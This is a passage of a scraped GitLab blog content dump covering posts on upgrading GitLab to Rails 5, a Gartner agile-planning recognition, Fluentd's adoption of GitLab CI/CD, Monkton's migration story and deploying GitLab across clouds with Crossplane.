pipeline](https://gitlab.com/sfdx/sfdx-cicd-template) which leverages [Scratch Orgs](https://developer.salesforce.com/docs/atlas.en-us.sfdx_dev.meta/sfdx_dev/sfdx_dev_scratch_orgs.htm) and [packaging](https://developer.salesforce.com/docs/atlas.en-us.sfdx_dev.meta/sfdx_dev/sfdx_dev_dev2gp_plan_pkg_types.htm) for a structured and frictionless development experience. It’s easier than ever to get started with new Salesforce projects using our new [Salesforce project template](https://gitlab.com/sfdx/sfdx-project-template), and adopt a collaborative development workflow across teams.\n\nFor example, Salesforce development projects stored in GitLab SCM enable developers to work in a Git-based workflow similar to [GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html), while transparently collaborating through [issue tracking](https://docs.gitlab.com/ee/user/project/issues/) and [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/). In this case, each developer can seamlessly create an ad hoc Git branch focused on specific development and functionality of code, allowing for small but continuous incremental changes. Each commit within a branch goes through automated testing and deployment into a Scratch Org.\n\nUpon approval, the changes are then packaged and deployed into a Sandbox Org and, ultimately, into production. GitLab CI/CD aims to automate the use of packaging for predictable Salesforce deployments. In this workflow example, each developer is able to leverage short-lived Scratch Orgs for development and testing of code in a much more Agile fashion.\n\n![Tanuki Badge](https://about.gitlab.com/images/blogimages/gitlab-salesforce-tanuki-badge.png){: .small.right.wrap-text}\n\n## Get hands on with a new Trailhead module and promo\n\nLearning by doing is the best way to get started. Check out our new Trailhead Module, \"[Build an automated CI/CD pipeline with GitLab](https://trailhead.salesforce.com/content/learn/projects/automate-cicd-with-gitlab)\" and learn how to automate your Salesforce development to increase productivity. Earn your Salesforce/GitLab Tanuki badge today!\n\n[Get started now.](/free-trial/)\n{: .alert .alert-gitlab-purple .text-center}\n",[4103,232,736],{"slug":29319,"featured":6,"template":678},"sfdx-promo-trailhead-blog","content:en-us:blog:sfdx-promo-trailhead-blog.yml","Sfdx Promo Trailhead Blog","en-us/blog/sfdx-promo-trailhead-blog.yml","en-us/blog/sfdx-promo-trailhead-blog",{"_path":29325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29326,"content":29332,"config":29338,"_id":29340,"_type":16,"title":29341,"_source":17,"_file":29342,"_stem":29343,"_extension":20},"/en-us/blog/upgrade-to-rails5",{"title":29327,"description":29328,"ogTitle":29327,"ogDescription":29328,"noIndex":6,"ogImage":29329,"ogUrl":29330,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29330,"schema":29331},"The road to Rails 5","Senior Backend Engineer Jan Provaznik shares some of the challenges we encountered when upgrading GitLab to Rails 5 – and how we overcame them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683399/Blog/Hero%20Images/road-to-rails-5.jpg","https://about.gitlab.com/blog/upgrade-to-rails5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The road to Rails 5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jan Provaznik\"}],\n        \"datePublished\": \"2019-05-28\",\n      }",{"title":29327,"description":29328,"authors":29333,"heroImage":29329,"date":29335,"body":29336,"category":734,"tags":29337},[29334],"Jan Provaznik","2019-05-28","\nWith [Rails 6 coming soon](https://weblog.rubyonrails.org/2018/12/20/timeline-for-the-release-of-Rails-6-0/) it's a good time to look back at the journey we took when upgrading GitLab to Rails 5, which was not so long ago.\n\n[Our issue for upgrading to Rails 5](https://gitlab.com/gitlab-org/gitlab-ce/issues/14286) was around for quite a while, largely because it was difficult to switch such a big project as GitLab instantly to the next major version. Here is a brief story about how we solved this upgrade challenge.\n\n## Our solution? Cut it into pieces\n\nThe upgrade to Rails 5 was first prepared as a one big merge request. The nice thing about this approach is that when the merge request is ready, you can just merge the single merge request without dealing with any backward compatibility. The [first attempt](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5555) had lower priority and it was later replaced with a [second attempt](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/12841). But for the GitLab codebase this merge request became pretty big: 151 commits, over 120 pushes, and more than 1000 changed files. Then it was almost impossible to get such merge request ready to be merged and keep it up to date without hitting problems with conflicts.\n\nRather than trying to get the upgrade done in a single merge request, a couple of changes made it possible to run the application either on Rails 4 or 5 depending on an environment variable. The application was still running on Rails 4 by default, but we were able to run it on Rails 5 either locally or in CI just by setting `RAILS5` and `BUNDLE_GEMFILE` environment variables. This allowed us to split the upgrade into many small issues. Typically each issue addressed one specific type of error in CI, so with each fix there were fewer failing tests in CI. Another major benefit was that then it was significantly easier to split the work between more people and to get an overview of who was working on what issue.\n\nA Rails version-specific Gemfile was loaded depending on the `RAILS5` and `BUNDLE_GEMFILE` environment variable. Here is an example of [enabling Rails 5 in rspec](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/18140):\n\n```ruby\ngemfile = %w[1 true].include?(ENV[\"RAILS5\"]) ? \"Gemfile.rails5\" : \"Gemfile\"\nENV['BUNDLE_GEMFILE'] ||= File.expand_path(\"../#{gemfile}\", __dir__)\n```\n\nThe content of [Gemfile.rails5](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/17761):\n\n```ruby\n# BUNDLE_GEMFILE=Gemfile.rails5 bundle install\n\nENV[\"RAILS5\"] = \"true\"\n\ngemfile = File.expand_path(\"../Gemfile\", __FILE__)\n\neval(File.read(gemfile), nil, gemfile)\n```\n\nAnd the Gemfile:\n\n```ruby\ndef rails5?\n  %w[1 true].include?(ENV[\"RAILS5\"])\nend\n￼\ngem_versions = {}\ngem_versions['activerecord_sane_schema_dumper'] = rails5? ? '1.0'      : '0.2'\ngem_versions['default_value_for']               = rails5? ? '~> 3.0.5' : '~> 3.0.0'\ngem_versions['html-pipeline']                   = rails5? ? '~> 2.6.0' : '~> 1.11.0'\ngem_versions['rails']                           = rails5? ? '5.0.6'    : '4.2.10'\ngem_versions['rails-i18n']                      = rails5? ? '~> 5.1'   : '~> 4.0.9'\n```\n\nThere were situations when a fix for Rails 5 was not compatible with Rails 4 and two different versions of code were needed, typically an Active Record query. For this purpose we used a simple helper method `Gitlab.rails5?` to check which version was being used and added code for each version. It was pretty easy to remove all Rails 4-compatible code in the cleanup phase when we upgraded to Rails 5 just by searching for `Gitlab.rails5?` in our codebase.\n\nAn example of the check used in `lib/gitlab/database.rb`:\n\n```ruby\ndef self.cached_table_exists?(table_name)\n  if Gitlab.rails5?\n    connection.schema_cache.data_source_exists?(table_name)\n  else\n    connection.schema_cache.table_exists?(table_name)\n  end\nend\n```\n\n## Upgrade process\n\nTo be able to address upgrade issues in small, separate pieces, we did the following steps during the upgrade process:\n\n* [Allowed GitLab to run both with Rails 4 and 5](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/17761), but keep Rails 4 default.\n* We also [added support both for Rails 4 and 5 into GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/merge_requests/497).\n* Fixed all issues until it fully worked with Rails 5 and CI was green.\n* Did manual testing to make sure everything will work after the upgrade.\n* [Switched to Rails 5 by default](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/21492), (but kept Rails 4 code).\n* Still enforced compatibility with Rails 4 (by running CI both with Rails 4 and 5) in case we had to switch back because of a blocker issue.\n* Dropped Rails 4 compatibility when we were sure everything worked. Releases are done monthly, so we removed Rails 4 code after the next release.\n\n## Major challenges\n\n### Active Record changes\n\nIn some places we use `Arel` directly and there were various incompatible changes (e.g. [`IN` statement issue](https://github.com/rails/arel/issues/531) solved by [this fix](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/19796)) which caused some of our SQL queries to stop working on Rails 5. (Almost) all of them were discovered during the preparation phase thanks to good test coverage. A list of [database-related changes is here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests?label_name%5B%5D=rails5&label_name%5B%5D=database&scope=all&state=all).\n\n### Monkey patches\n\nWe keep various monkey patches (either not-merged-yet upstream fixes or custom extensions), many of which required refactoring with the major upgrade. The positive is that we were able to get rid of some of them.\n\n### Keeping Rails 5 CI green\n\nThere was quite a long period between the moment we had all Rails 5 issues fixed and the moment we really switched the master branch to Rails 5.\nDuring this period we used a scheduled pipeline which ran daily on CE and EE master branches on Rails 5, so we knew quickly when a new incompatibility issue was introduced.\nAnother option was running CI jobs both for Rails 4 and 5 for each merge request and making it mandatory to pass all jobs. The disadvantage of this option was it would take twice as much time to run CI.\n\nUnfortunately there were many new incompatibility issues introduced during this period. Next time it would be better to run CI for each merge request, both with Rails 4 and 5, although it would require twice as much CI runtime.\n\n## Production release\n\nOnce we had all known issues in our codebase fixed, we still had additional steps to make sure we didn't hit a critical issue when releasing the next version. [We tracked these steps in this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/48991). We switched master branches to Rails 5 at the beginning of the development cycle (each cycle is one month long). We then ran CI jobs both with Rails 5 (default) and 4 (to keep backward compatibility). Timing was important because during the development cycle we discovered a couple of issues and we had enough time to fix them before release. After the release of the next version (11.6), when we were sure that we would not have to switch back to Rails 4, we removed Rails 4 both from CI and from the codebase.\n\nAlthough it took longer than expected, I think this upgrade was successful because it didn't cause any production issues. There were a few [major issues](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name[]=rails5&label_name[]=P1) discovered after switching the master branch, but we were able to fix them quickly before release.\n\nThis upgrade was done with huge help from our community – especially [@blackst0ne](https://gitlab.com/blackst0ne) and [@jlemaes](https://gitlab.com/jlemaes). Thank you!\n\n## Next steps\n\n* The upgrade to Rails 5.1 is [happening now](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24852).\n* The upgrade to Rails 5.2 is [still in progress](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/8877) – unfortunately there are many incompatibilities.\n\nBecause upgrades to 5.1 and 5.2 should be relatively small, we aim to do each upgrade in a single merge request. The upgrade to Rails 6 is expected to be bigger, so hopefully the same approach we used for Rails 5 upgrade will be useful in this case too.\n\nPhoto by Cody Board on [Unsplash](https://unsplash.com/photos/2hu-SSktidc)\n{: .note}\n",[2368,6962,815,267],{"slug":29339,"featured":6,"template":678},"upgrade-to-rails5","content:en-us:blog:upgrade-to-rails5.yml","Upgrade To Rails5","en-us/blog/upgrade-to-rails5.yml","en-us/blog/upgrade-to-rails5",{"_path":29345,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29346,"content":29351,"config":29358,"_id":29360,"_type":16,"title":29361,"_source":17,"_file":29362,"_stem":29363,"_extension":20},"/en-us/blog/gitlab-identified-by-gartner-as-eapt-visionary",{"title":29347,"description":29348,"ogTitle":29347,"ogDescription":29348,"noIndex":6,"ogImage":17064,"ogUrl":29349,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29349,"schema":29350},"GitLab earns visionary status in Gartner agile planning","We're happy to announce GitLab has been named a 'Visionary' in Gartner's EAPT Magic Quadrant.","https://about.gitlab.com/blog/gitlab-identified-by-gartner-as-eapt-visionary","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a 'Visionary' in 2019 Gartner Enterprise Agile Planning Tool Magic Quadrant\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jeremiah\"}],\n        \"datePublished\": \"2019-05-22\",\n      }",{"title":29352,"description":29348,"authors":29353,"heroImage":17064,"date":29355,"body":29356,"category":299,"tags":29357},"GitLab named a 'Visionary' in 2019 Gartner Enterprise Agile Planning Tool Magic Quadrant",[29354],"John Jeremiah","2019-05-22","\n\nGartner recently named [GitLab a ‘Visionary’](/analysts/gartner-eapt21/) in their Magic Quadrant research into Enterprise Agile Planning Tools. We believe that planning and delivery must be closely linked to enable product and project teams to streamline and accelerate delivery. In many organizations, disconnected tools create organizational islands, preventing teams from collaborating, sharing, and learning. Our vision for Concurrent DevOps is to enable teams to:\n\n- Bridge the gaps between PMs, Developers, Ops, and Security.\n- Build and manage their epics and roadmaps.\n- Prioritize work and organize sprints and Kanban boards to track the development and delivery of value to customers.\n\n## Everyone can contribute\n\nOur vision is to make it simple, easy, and fast for people to contribute and deliver value to their users. We believe that a [single application](/handbook/product/single-application/), preconfigured to work by default across the DevOps lifecycle, will enable faster cycle time, delivering innovation and value.\n\n## Easier workflows, increasing collaboration and productivity\n\nEnterprise Agile and Planning are critical activities that often determine the overall success of a project. Teams must work on the right things at the right time, and unless your planning processes are linked to your delivery actions, the potential for a disconnect is remarkably high.\n\nAt Hemmersbach, using GitLab helped them decrease the time from planning to production by 6.5 days. Working in a single environment, they are also achieving 60 builds per day where previously they were performing a single daily build.\n\n>“GitLab is the one tool that connects our whole team. You always see GitLab open and everything is based on GitLab. GitLab is the backbone of our software development.”  – Alexander Schmid, Head of Software Development, Hemmersbach\n\nGitLab solves the disconnect by enabling Enterprise Agile Planning within the same application that is used to manage the development and delivery.  Now, [Product Managers and Project Managers](/solutions/agile-delivery/) can groom their backlog and epics, build their roadmaps, and plan sprints without losing touch with the actual development and delivery flow. Kanban boards provide a visual and interactive way to manage the status and flow of issues through delivery.\n\n![burndown](https://about.gitlab.com/images/home/burndown-chart.png){: .shadow.medium.center}\n\n[Value Stream Management](/solutions/value-stream-management/) offers insight into planning and delivering projects so that teams can find and remove bottlenecks from their value stream.\n\nDownload the report and learn more about why Gartner named GitLab an Enterprise Agile Planning 'Visionary.'\n\n[Download the full report](/analysts/gartner-eapt21/)\n{: .alert .alert-gitlab-purple .text-center}\n\nGartner, Magic Quadrant for Enterprise Agile Planning Tools, 18 April 2019, Keith Mann, Mike West, Thomas Murphy, Nathan Wilson\n{: .note}\n\nGartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, express or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.\n{: .note}\n\nImage by \u003Ca href=\"https://pixabay.com/users/pisauikan-4552082/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=2682641\">pisauikan\u003C/a> from \u003Ca href=\"https://pixabay.com/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=2682641\">Pixabay\u003C/a>\n{: .note}\n",[1899,4103,676,736],{"slug":29359,"featured":6,"template":678},"gitlab-identified-by-gartner-as-eapt-visionary","content:en-us:blog:gitlab-identified-by-gartner-as-eapt-visionary.yml","Gitlab Identified By Gartner As Eapt Visionary","en-us/blog/gitlab-identified-by-gartner-as-eapt-visionary.yml","en-us/blog/gitlab-identified-by-gartner-as-eapt-visionary",{"_path":29365,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29366,"content":29372,"config":29377,"_id":29379,"_type":16,"title":29380,"_source":17,"_file":29381,"_stem":29382,"_extension":20},"/en-us/blog/fluentd-using-gitlab-ci-cd",{"title":29367,"description":29368,"ogTitle":29367,"ogDescription":29368,"noIndex":6,"ogImage":29369,"ogUrl":29370,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29370,"schema":29371},"Thanks Fluentd for betting on GitLab CI/CD!","We're happy to support fresh CNCF graduate Fluentd with GitLab CI/CD, and excited about their latest innovation offering stream processing on the edge.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678614/Blog/Hero%20Images/gitlab-fluentd.png","https://about.gitlab.com/blog/fluentd-using-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Thanks Fluentd for betting on GitLab CI/CD!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2019-05-21\",\n      }",{"title":29367,"description":29368,"authors":29373,"heroImage":29369,"date":29374,"body":29375,"category":813,"tags":29376},[26983],"2019-05-21","\nFluentd, the [latest project to graduate](https://www.fluentd.org/blog/fluentd-cncf-graduation) in the CNCF, announced on stage at KubeCon Barcelona today that it is using [GitLab CI/CD](/solutions/continuous-integration/) for continuous integration. We are thrilled about the shout out and honored to support such an influential and innovative project.\n\nFor those who haven’t yet worked with Fluentd, it is an [open source data collector](https://www.fluentd.org/architecture), which lets you unify the data collection and consumption for a better use and understanding of data. Fluent Bit is their lighter-weight forwarder for those with exacting memory requirements. The project sports 7,868 stars on GitHub and their community has contributed more than 900 contributed plugins. They witness more than 100K downloads a day!\n\nThe latest innovation from Fluentd around [stream processing on the edge](https://docs.fluentbit.io/stream-processing/) can be very useful for our industry. As many of those who monitor large-scale, complex, distributed systems, run IoT businesses, or build smart cities will attest, more and more data is generated by these systems and analysis often needs to happen blazingly fast to be meaningful. The standard data analysis model, where it is first stored and indexed in a database (presumably in some cloud) and then analyzed, is not good enough for some real-time and complex analysis needs. The latencies associated with such data transfer may not be able to support applications involving time-critical, data-driven decision making. With Fluent bit, the Fluent team is looking to process the data while it's still in motion in the Log processor – bringing a lot of advantages of speed.\n\nWhile I am reading papers by others attempting to build stream processing on the edge, I find Fluentd’s efforts exciting because they already have major community traction and are part of companies’ observability workflows for logging. The [CNCF graduation criteria](https://github.com/cncf/toc/blob/master/process/graduation_criteria.adoc) that Fluentd met will further embolden enterprises to try it out, as part of the requirements are a diverse contributor community and security audits.\n\nWe've spent the past few months collaborating with Fluentd on their CI needs, and it's been very educational for us. We learned about the unique challenges that fast-moving projects in the CNCF face, and how we can be of assistance with our CI/CD offering. A large part of the answer is providing clear and consistent guidance around converting pipelines and then supporting the projects to success. If you are a CNCF project interested in working with GitLab CI/CD, holler at us and we’d be delighted to help.\n\nUntil then, enjoy KubeCon Barca!\n",[110,815,4144,3949,277,2509],{"slug":29378,"featured":6,"template":678},"fluentd-using-gitlab-ci-cd","content:en-us:blog:fluentd-using-gitlab-ci-cd.yml","Fluentd Using Gitlab Ci Cd","en-us/blog/fluentd-using-gitlab-ci-cd.yml","en-us/blog/fluentd-using-gitlab-ci-cd",{"_path":29384,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29385,"content":29391,"config":29397,"_id":29399,"_type":16,"title":29400,"_source":17,"_file":29401,"_stem":29402,"_extension":20},"/en-us/blog/monkton-moves-to-gitlab-customer-story",{"title":29386,"description":29387,"ogTitle":29386,"ogDescription":29387,"noIndex":6,"ogImage":29388,"ogUrl":29389,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29389,"schema":29390},"Monkton's journey to GitLab: Focusing on automation","Monkton is migrating from a suite of disparate tools to GitLab, enabling them to better help their customers build safe, secure mobile apps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670123/Blog/Hero%20Images/moving-to-gitlab-cover.png","https://about.gitlab.com/blog/monkton-moves-to-gitlab-customer-story","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Monkton's #movingtogitlab story: Going all in on automation and repeatability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"},{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2019-05-21\",\n      }",{"title":29392,"description":29387,"authors":29393,"heroImage":29388,"date":29374,"body":29395,"category":8943,"tags":29396},"Monkton's #movingtogitlab story: Going all in on automation and repeatability",[19026,29394],"Aricka Flowers","\n\nEven with all the [#movingtogitlab](/blog/movingtogitlab/) excitement last year, it never gets old to hear about folks migrating to us.\nSo when Harold Smith, CEO and co-founder of [Monkton Incorporated](https://monkton.io/) – a company dedicated to helping enterprises build safe, secure, and compliant mobile solutions – wrote about [moving Monkton to GitLab](https://medium.com/@h3smith/migration-to-gitlab-dde59fc98315) earlier this year, we asked him to sit down with us to talk about the whys and hows.\n\n## From hodge podge of tools, to consolidated lifecycle\n\n\"We’ve been using some of your competitors’ tools.\nIt sort of became a hodge podge of tools – they’re still good tools, but there are different tools to do different things in the development life cycle. We had known GitLab had existed for a while.\nAnd I think, like many others who know about GitLab, it was an assumption on our end that it's just a source control repository.\nThen we started to realize and peel back a little bit of everything GitLab does – the continuous integration, integrations with other services, the whole pipeline.\nWe really started to focus on it and say, 'This is something we should spend time looking into and investing in.'\n\n\"It turned out to be a really good investment of time – we’ve seen time savings just in our ability to watch projects, our onboarding.\nIt’s cutting out a lot of the managing of all these different tools and different servers.\nIt’s just one thing to go in and manage that does most of the work we need.\nIt's also a huge advantage for us and our customers operating under the constraints of a higher-security environment, that we're able to do continuous integration and development, secure DevOps, in a secure environment that passes their auditing needs.\n\n>It’s cutting out a lot of the managing of all these different tools and different servers.\nIt’s just one thing to go in and manage that does most of the work we need.\n\n\"A lot of tools we were using, like some of the other continuous integration tools, are all open source software, which is great.\nBut that comes with some responsibilities: you need to really dig to figure out how to manage it correctly, how to set things up.\nSo, that was probably the biggest disadvantage of working with a collection of open source tools that didn’t have the proper documentation that we needed to move forward.\nSo, once we started looking at GitLab, it really enabled us to consolidate those things.\nAll the documentation is one place. The services that were available …\nIt was really easy to figure out what we needed to do.\nAnd your support has been a big help as well in enabling us to rapidly deliver and stand up these environments.\n\n\"Before, some of our processes were manual, like uploading code scans to Fortify.\nWe’ve automated all of that now on specific branches of the software that we’re building.\nSo, it’s taken out those manual processes that had to go through the checks.\nWhen we build a mobile application and push it through the pipeline, we’re working on how can we automatically publish that to MDM.\nSo, as soon as that code is checked in, scanned, what’s the process to get that into production?\nAnd that’s where we’ve focused a lot of effort of just entirely automation.\"\n\n## Automate all.the.things.\n\n\"Our collective vision within Monkton, and working with you at GitLab, and all these other companies, is how do we automate and take out human error from the equation?\nOur goal is that the moment code is checked in and has been reviewed, the testing lifecycle, the deployment lifecycle, the security vulnerability scanning lifecycle, should all be automated.\nSo, it’s more of humans reviewing reports at the end versus humans having to do the inspections themselves. We really envisioned that these tools could do a much better job than humans can.\n\n\"We’re not trying to replace human jobs. But how can we free people up to do what people do best, versus laborious efforts like pen testing mobile applications or pen testing web applications?\nA lot of that can be automated through scripting tools – Amazon Device Farm – all of which GitLab can automate and push out.\nSo, we’re focusing on what tools can we bring in to automate that process, tie them into GitLab, and automate everything. Or virtually everything.\"\n\n## Repeatability is key\n\n\"Repeatability is probably from our vantage point, one of the cornerstones of what we have to be able to do.\nIf we have a Department of Defense customer that builds a hundred mobile apps using our software, and they discover a vulnerability in one of them – if there’s not a repeatable process to build and deliver the solutions, it would take a year to update those hundred mobile apps if they’re doing it in a very siloed environment.\nBut with a repeatable process, they could change it out once and propagate it out, they can patch and push everything within an hour.\nA repeatable process allows you to have repeatable, consistent outcomes every single time, so you know that you can trust the process as part of your security program versus maybe a hodge podge of different tools and manual processes.\"\n\n## Lessons from the migration process\n\n\"It’s been a learning opportunity for us to see what are the best practices that we can collectively share – even with you at GitLab, there might be things that we’re all collectively learning, that we can use to help the community together.\nBecause this isn’t just a proprietary company effort on our end and your end, or even our customers’ end.\nI look at it as a good learning experience for all of us to improve processes, security, compliance, and everything that goes along with that.\"\n\nHere's a bit more from our chat with Harold:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/kT5qZ8W7yXM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n",[267,232,815,4772],{"slug":29398,"featured":6,"template":678},"monkton-moves-to-gitlab-customer-story","content:en-us:blog:monkton-moves-to-gitlab-customer-story.yml","Monkton Moves To Gitlab Customer Story","en-us/blog/monkton-moves-to-gitlab-customer-story.yml","en-us/blog/monkton-moves-to-gitlab-customer-story",{"_path":29404,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29405,"content":29411,"config":29416,"_id":29418,"_type":16,"title":29419,"_source":17,"_file":29420,"_stem":29421,"_extension":20},"/en-us/blog/gitlab-first-deployed-kubernetes-api-to-multiple-clouds",{"title":29406,"description":29407,"ogTitle":29406,"ogDescription":29407,"noIndex":6,"ogImage":29408,"ogUrl":29409,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29409,"schema":29410},"GitLab deploys into multiple clouds from kubectl using Crossplane","We're proud to be advancing our commitment to multicloud DevOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680612/Blog/Hero%20Images/crossplane.png","https://about.gitlab.com/blog/gitlab-first-deployed-kubernetes-api-to-multiple-clouds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab deploys into multiple clouds from kubectl using Crossplane\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-05-20\",\n      }",{"title":29406,"description":29407,"authors":29412,"heroImage":29408,"date":29413,"body":29414,"category":299,"tags":29415},[711],"2019-05-20","\n\nToday the [Crossplane community](https://crossplane.io) is demonstrating how GitLab is the first real-world application [deployed across multiple clouds via Crossplane](http://blog.crossplane.io/crossplane-composes-fully-managed-services-in-kubernetes-to-deploy-gitlab-into-multiple-clouds/), the open source multicloud control plane. When [Crossplane launched](/blog/opensource-multi-cloud-crossplane/), we were excited to learn about a project that is taking the complexity out of managing services across multiple clouds. We believe this is the last hurdle to [multicloud maturity](https://medium.com/gitlab-magazine/multi-cloud-maturity-model-2de185c01dd7).\n\nAs some of our competitors move closer to supporting one cloud, GitLab is committed to [multicloud DevOps](/topics/multicloud/). Today, our customers already can install and deploy from GitLab to any public cloud. In the future and as the Crossplane project matures, we plan to leverage Crossplane to help our customers take multicloud one step further to deploy GitLab entirely through the Kubernetes API into multiple clouds,  including the use of fully-managed services offered by the respective cloud providers.\n\n## Deploy GitLab with external managed services using kubectl\n\nReal-world applications like GitLab can now be deployed entirely from kubectl into multiple clouds using Crossplane, including their external managed services. Crossplane extends the Kubernetes API by adding resource claims and resource classes to support composability of managed service dependencies in Kubernetes, similar to persistent volume claims and storage classes. Crossplane is easily added to any existing Kubernetes cluster and cleanly layers on top of clusters provisioned by Anthos, EKS, AKS, and OpenShift.\n\nCluster administrators install Crossplane on a Kubernetes cluster, set cloud credentials, and specify which managed services they want to make available for self-service provisioning within the cluster. Policies guide binding to specific managed service offerings configured by the cluster administrator.\n\nApplication owners can consume and compose these managed services on-demand with the Kubernetes patterns they’re familiar with today, without having to know about the infrastructure details or having to manage credentials.\n\nThis provides an excellent separation of concerns and makes applications more portable, while retaining flexibility for cluster administrators to tailor how they want these managed services to be provisioned in their environments.\n\nFor production deployments, GitLab [recommends using external managed services](https://gitlab.com/charts/deploy-image-helm-base/blob/master/doc/installing.md) for Redis, PostgreSQL, and object storage. Crossplane supports declaring these managed services as resource claims in Kubernetes that dynamically bind to the appropriate cloud provider using resource classes configured by the cluster administrator to provide the managed service.\n\n### Deploy GitLab to multiple clouds using Crossplane with the following steps:\n\n#### Cluster Administrator:\n1. Install Crossplane on your Kubernetes cluster\n1. Set cloud provider credentials\n1. Provide managed services with resource classes\n\n#### Application Owner:\n1. Provision managed services with resource claims\n1. Bind resource claims into the exported GitLab Helm chart\n1. Deploy the GitLab application with Crossplane managed services\n\nThat's it! GitLab is now up and running in your cloud of choice, using fully-managed services for Redis, PostgreSQL, and storage buckets!\n\nPlease see the [Crossplane blog post](http://blog.crossplane.io/crossplane-composes-fully-managed-services-in-kubernetes-to-deploy-gitlab-into-multiple-clouds/) to learn more about deploying GitLab to multiple clouds with external managed service dependencies, including the full instructions so you can follow along in your own environment.\n\n## Multicloud success in the enterprise\n\nWith [81 percent of enterprises](https://www.rightscale.com/blog/cloud-industry-insights/cloud-computing-trends-2018-state-cloud-survey) already adopting a multicloud strategy, technologies like Crossplane are key to enterprise adoption success. While the ability to choose any cloud to run on is important, the practicalities of developing and deploying applications in multiple clouds is complex, driving up development costs. Crossplane introduces a set of workload resource abstractions on top of existing managed services and cloud offerings to enable workload portability across cloud providers. This allows developers to produce complex applications that can be deployed anywhere, while enabling operational teams to manage cloud infrastructure by policy and business priorities.\n\n“We’re showing a real-world example of the future of multicloud today,” said Bassam Tabbara, CEO of Upbound and maintainer on Crossplane. “GitLab is a production application that relies on multiple fully-managed services, so by abstracting these services and integrating them with the declarative Kubernetes API, we are demonstrating the ability to standardize on a single declarative API to manage it all.”\n\n## Find us at KubeCon Barcelona this week\n\nGitLab will be at KubeCon Barcelona this week and we would love to meet you to talk to you about how GitLab can help you with your Multicloud strategy.\n\nJoin us at the Multicloud 360 event at KubeCon on Tuesday, from 8:30 pm to midnight, alongside Upbound, Google Cloud, Digital Ocean and CockroachDB. [RSVP here](https://www.eventbrite.com/e/multicloud-360-tickets-60623662005) to claim your spot.\n\n![multicloud 360](https://about.gitlab.com/images/blogimages/multicloud-360.jpeg)\n\nIn addition visit GitLab at the KubeCon Booth, S21, to learn more about GitLab and Kubernetes and be sure to check out everything else we are involved in [here](/blog/kubernetes-kubecon-barcelona/).\n",[736,4144],{"slug":29417,"featured":6,"template":678},"gitlab-first-deployed-kubernetes-api-to-multiple-clouds","content:en-us:blog:gitlab-first-deployed-kubernetes-api-to-multiple-clouds.yml","Gitlab First Deployed Kubernetes Api To Multiple Clouds","en-us/blog/gitlab-first-deployed-kubernetes-api-to-multiple-clouds.yml","en-us/blog/gitlab-first-deployed-kubernetes-api-to-multiple-clouds",{"_path":29423,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29424,"content":29430,"config":29434,"_id":29436,"_type":16,"title":29437,"_source":17,"_file":29438,"_stem":29439,"_extension":20},"/en-us/blog/kubernetes-chat-with-joe-beda",{"title":29425,"description":29426,"ogTitle":29425,"ogDescription":29426,"noIndex":6,"ogImage":29427,"ogUrl":29428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29428,"schema":29429},"Kubernetes and the open source community: We chat with Joe Beda","Our CEO sits down with Kubernetes co-creator Joe Beda to talk about the future of open 